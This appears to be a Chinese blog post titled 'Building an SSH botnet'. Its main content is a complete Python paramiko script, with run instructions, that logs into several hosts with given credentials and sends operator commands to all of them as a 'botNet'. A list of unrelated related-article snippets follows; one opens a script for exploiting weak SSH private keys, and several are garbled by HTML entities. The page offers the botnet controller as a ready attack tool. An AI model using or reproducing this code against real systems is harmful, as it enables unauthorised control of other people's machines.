构建SSH僵尸网络

news2024/11/19 0:58:04
import argparse
import paramiko

# 定义一个名为Client的类,用于表示SSH客户端相关操作
class Client:
    # 类的初始化方法,接收主机地址、用户名和密码作为参数
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        # 创建一个paramiko的SSHClient实例,用于后续的SSH连接操作
        self.client = paramiko.SSHClient()
        # 设置自动添加主机密钥策略,避免出现未知主机密钥时连接失败
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 调用连接方法,尝试建立SSH连接
        self.connect()

    # 定义连接方法,用于建立到指定主机的SSH连接
    def connect(self):
        try:
            # 使用提供的主机、用户名和密码进行SSH连接
            self.client.connect(self.host, username=self.user, password=self.password)
            print(f"[+] Connected to {self.host}")
        except Exception as e:
            print(f"[-] Error connecting to {self.host}: {e}")

    # 用于在已连接的SSH会话上执行命令,并返回命令的输出结果
    def send_command(self, cmd):
        # 在SSH会话上执行命令,获取标准输入、标准输出和标准错误输出流
        stdin, stdout, stderr = self.client.exec_command(cmd)
        # 读取标准输出内容,并使用utf-8编码将字节数据转换为字符串
        output = stdout.read().decode('utf-8')
        # 读取标准错误输出内容,并进行同样的编码转换
        error = stderr.read().decode('utf-8')
        if error:
            print(f"[-] Error executing command on {self.host}: {error}")
        return output

    # 类方法,用于向所有已添加到botNet列表中的客户端发送相同命令,并收集结果
    @classmethod
    def botnet_command(cls, command):
        results = []
        # 遍历botNet列表中的每个客户端实例
        for client in cls.botNet:
            # 在每个客户端上执行命令,并获取输出结果
            output = client.send_command(command)
            # 将客户端的主机地址和对应的命令输出结果作为元组添加到results列表中
            results.append((client.host, output))
        return results

    # 类方法,用于向botNet列表中添加一个新的客户端实例
    @classmethod
    def add_client(cls, host, user, password):
        client = cls(host, user, password)
        cls.botNet.append(client)

    # 类方法,用于关闭所有已添加到botNet列表中的客户端的SSH连接
    @classmethod
    def close_all_connections(cls):
        for client in cls.botNet:
            client.client.close()
            print(f"[+] Connection to {client.host} closed")

# 初始化一个空的botNet列表,用于存储所有的客户端实例
Client.botNet = []

def main():
    # 创建一个命令行参数解析器对象,用于解析用户输入的命令行参数
    parser = argparse.ArgumentParser(description='SSH Botnet Client')
    # 添加一个名为--host的命令行参数,可接收多个值,用于指定要连接的主机地址
    parser.add_argument('--host', nargs='+', help='Host(s) to connect to')
    # 添加一个名为--user的命令行参数,可接收多个值,用于指定SSH连接的用户名
    parser.add_argument('--user', nargs='+', help='Username(s) for SSH connection')
    # 添加一个名为--password的命令行参数,可接收多个值,用于指定SSH连接的密码
    parser.add_argument('--password', nargs='+', help='Password(s) for SSH connection')
    args = parser.parse_args()

    # 检查是否缺少必要的命令行参数,如果缺少则报错
    if not args.host or not args.user or not args.password:
        parser.error('Missing required arguments')
    # 检查主机地址、用户名和密码的数量是否一致,如果不一致则报错
    if len(args.host)!= len(args.user) or len(args.host)!= len(args.password):
        parser.error('The number of hosts, users, and passwords must be the same')

    # 通过循环,为每个主机地址、用户名和密码的组合创建一个Client实例,并添加到botNet列表中
    for host, user, password in zip(args.host, args.user, args.password):
        Client.add_client(host, user, password)

    print("Connected to all hosts. Enter 'exit' to quit.")
    while True:
        command = input("Enter command: ")
        if command.lower() == 'exit':
            break
        results = Client.botnet_command(command)
        for host, output in results:
            print(f"Output from {host}:")
            print(output)

    # 关闭所有已添加的客户端的SSH连接
    Client.close_all_connections()

if __name__ == '__main__':
    main()
运行方法:
第一种:终端控制:python your_script.py --host IP1 IP2 --user user1 user2 --password password1 password2

输出结果:


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2243090.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

永磁同步电机负载估计算法--直接计算法

一、原理介绍 本文采用直接计算法估计负载转矩并将估计值前馈至转速环输出,来提高PI调节器应对负载扰动的性能。直接计算法是一种将 PMSM 的运动方程中的负载转矩项直接作为观测量,通过公式的逆向推导整理,将负载转矩项提取出来移到等式的一…

Java:什么是RPC框架?

RPC 远程调用的通信(RPC) RPC(Remote Procedure Call Protocol)是指远程过程调用协议。 通俗描述 客户端在不知道调用细节的情况下,可以像调用本地应用程序中的对象一样,调用存在于远程计算机上的某个对…

HTML之列表学习记录

练习题&#xff1a; 图所示为一个问卷调查网页&#xff0c;请制作出来。要求&#xff1a;大标题用h1标签&#xff1b;小题目用h3标签&#xff1b;前两个问题使用有序列表&#xff1b;最后一个问题使用无序列表。 代码&#xff1a; <!DOCTYPE html> <html> <he…

【设计模式】行为型模式(五):解释器模式、访问者模式、依赖注入

《设计模式之行为型模式》系列&#xff0c;共包含以下文章&#xff1a; 行为型模式&#xff08;一&#xff09;&#xff1a;模板方法模式、观察者模式行为型模式&#xff08;二&#xff09;&#xff1a;策略模式、命令模式行为型模式&#xff08;三&#xff09;&#xff1a;责…

基于Java Springboot二手家电管理平台

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术&#xff1a;Html、Css、Js、Vue、Element-ui 数据库&#xff1a;MySQL 后端技术&#xff1a;Java、Spring Boot、MyBatis 三、运行环境 开发工具&#xff1a;IDEA/eclipse 数据…

利用SSH中的弱私钥

import paramiko import argparse import os from threading import Thread, BoundedSemaphore # 设置最大连接数 maxConnections 5 # 创建一个有界信号量&#xff0c;用于控制同时进行的连接数 connection_lock BoundedSemaphore(valuemaxConnections) # 用于控制是否停止所…

基于Python的仓库管理系统设计与实现

背景&#xff1a; 基于Python的仓库管理系统功能介绍 本仓库管理系统采用Python语言开发&#xff0c;利用Django框架和MySQL数据库&#xff0c;实现了高效、便捷的仓库管理功能。 用户管理&#xff1a; 支持员工和管理员角色的管理。 用户注册、登录和权限分配功能&#x…

自动驾驶系列—从数据采集到存储:解密自动驾驶传感器数据采集盒子的关键技术

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…

vue3【实战】切换白天黑夜(暗黑模式)【组件封装】DarkMode.vue

效果预览 原理解析 切换为暗黑模式时&#xff0c;会在 html 标签上添加样式类 dark导入 ElementPlus 的暗黑模式样式后&#xff0c; ElementPlus 组件会自动响应暗黑模式自定义组件需用 UnoCSS 的 dark: 语法自定义暗黑模式的样式 代码实现 技术方案 vue3 vite ElementPlus …

java八股-jvm入门-程序计数器,堆,元空间,虚拟机栈,本地方法栈,类加载器,双亲委派,类加载执行过程

文章目录 PC Register堆虚拟机栈方法区(Metaspace元空间双亲委派机制类加载器 类装载的执行过程 PC Register 程序计数器&#xff08;Program Counter Register&#xff09;是 Java 虚拟机&#xff08;JVM&#xff09;中的一个组件&#xff0c;它在 JVM 的内存模型中扮演着非常…

Nature Communications 基于触觉手套的深度学习驱动视触觉动态重建方案

在人形机器人操作领域&#xff0c;有一个极具价值的问题&#xff1a;鉴于操作数据在人形操作技能学习中的重要性&#xff0c;如何有效地从现实世界中获取操作数据的完整状态&#xff1f;如果可以&#xff0c;那考虑到人类庞大规模的人口和进行复杂操作的简单直观性与可扩展性&a…

Linux:进程的优先级 进程切换

文章目录 前言一、进程优先级1.1 基本概念1.2 查看系统进程1.3 PRI和NI1.4 调整优先级1.4.1 top命令1.4.2 nice命令1.4.3 renice命令 二、进程切换2.1 补充概念2.2 进程的运行和切换步骤&#xff08;重要&#xff09; 二、Linux2.6内核进程O(1)调度队列&#xff08;重要&#x…

鸿蒙学习生态应用开发能力全景图-赋能套件(1)

文章目录 赋能套件鸿蒙生态应用开发能力全景图 赋能套件 鸿蒙生态白皮书: 全面阐释了鸿蒙生态下应用开发核心理念、关键能力以及创新体验,旨在帮助开发者快速、准确、全面的了解鸿蒙开发套件给开发者提供的能力全景和未来的愿景。 视频课程: 基于真实的开发场景,提供向导式…

Docker 的安装与使用

Docker 的安装 Docker 是一个开源的商业产品&#xff0c;有两个版本&#xff1a;社区版&#xff08;Community Edition&#xff0c;缩写为 CE&#xff09;和企业版&#xff08;Enterprise Edition&#xff0c;缩写为 EE&#xff09;。 Docker CE 的安装请参考官方文档&#xf…

MATLAB向量元素的引用

我们定义一个向量后&#xff0c;如果想引用的话&#xff0c;可以通过索引 i n d ind ind来实现。 注意&#xff1a;MATLAB中向量的开始索引是1&#xff0c;与许多编程语言不同。 例如&#xff1a; 如果想引用多个的话&#xff0c;可以用索引 i n d ind ind来提取多个位置 例如…

力扣周赛:第424场周赛

&#x1f468;‍&#x1f393;作者简介&#xff1a;爱好技术和算法的研究生 &#x1f30c;上期文章&#xff1a;力扣周赛&#xff1a;第422场周赛 &#x1f4da;订阅专栏&#xff1a;力扣周赛 希望文章对你们有所帮助 第一道题模拟题&#xff0c;第二道题经典拆分数组/线段树都…

SpringBoot配置相关的内容

依赖Starter和Parent 查依赖坐标网站&#xff1a;Maven Repository: Search/Browse/Explorehttps://mvnrepository.com/ 设置配置文件 配置文件相关的配置 yml多个数据的书写 配置文件的读取

第九部分 :1.STM32之通信接口《精讲》(USART,I2C,SPI,CAN,USB)

本芯片使用的是STM32F103C8T6型号 STM32F103C8T6是STM32F1系列中的一种较常用的低成本ARM Cortex-M3内核MCU&#xff0c;具有丰富的通信接口&#xff0c;包括USART、SPI、I2C等。下面是该芯片上通信接口的管脚分布、每个接口的工作模式、常用应用场景和注意事项。 1. USART (通…

【计算机网络】协议定制

一、结构化数据传输流程 这里涉及协议定制、序列化/反序列化的知识 对于序列化和反序列化&#xff0c;有现成的解决方案&#xff1a;①json ②probuff ③xml 二、理解发送接收函数 我们调用的所有发送/接收函数&#xff0c;根本就不是把数据发送到网络中&#xff01;本质都是…

WebRTC视频 02 - 视频采集类 VideoCaptureModule

WebRTC视频 01 - 视频采集整体架构 WebRTC视频 02 - 视频采集类 VideoCaptureModule&#xff08;本文&#xff09; WebRTC视频 03 - 视频采集类 VideoCaptureDS 上篇 WebRTC视频 04 - 视频采集类 VideoCaptureDS 中篇 WebRTC视频 05 - 视频采集类 VideoCaptureDS 下篇 一、前言…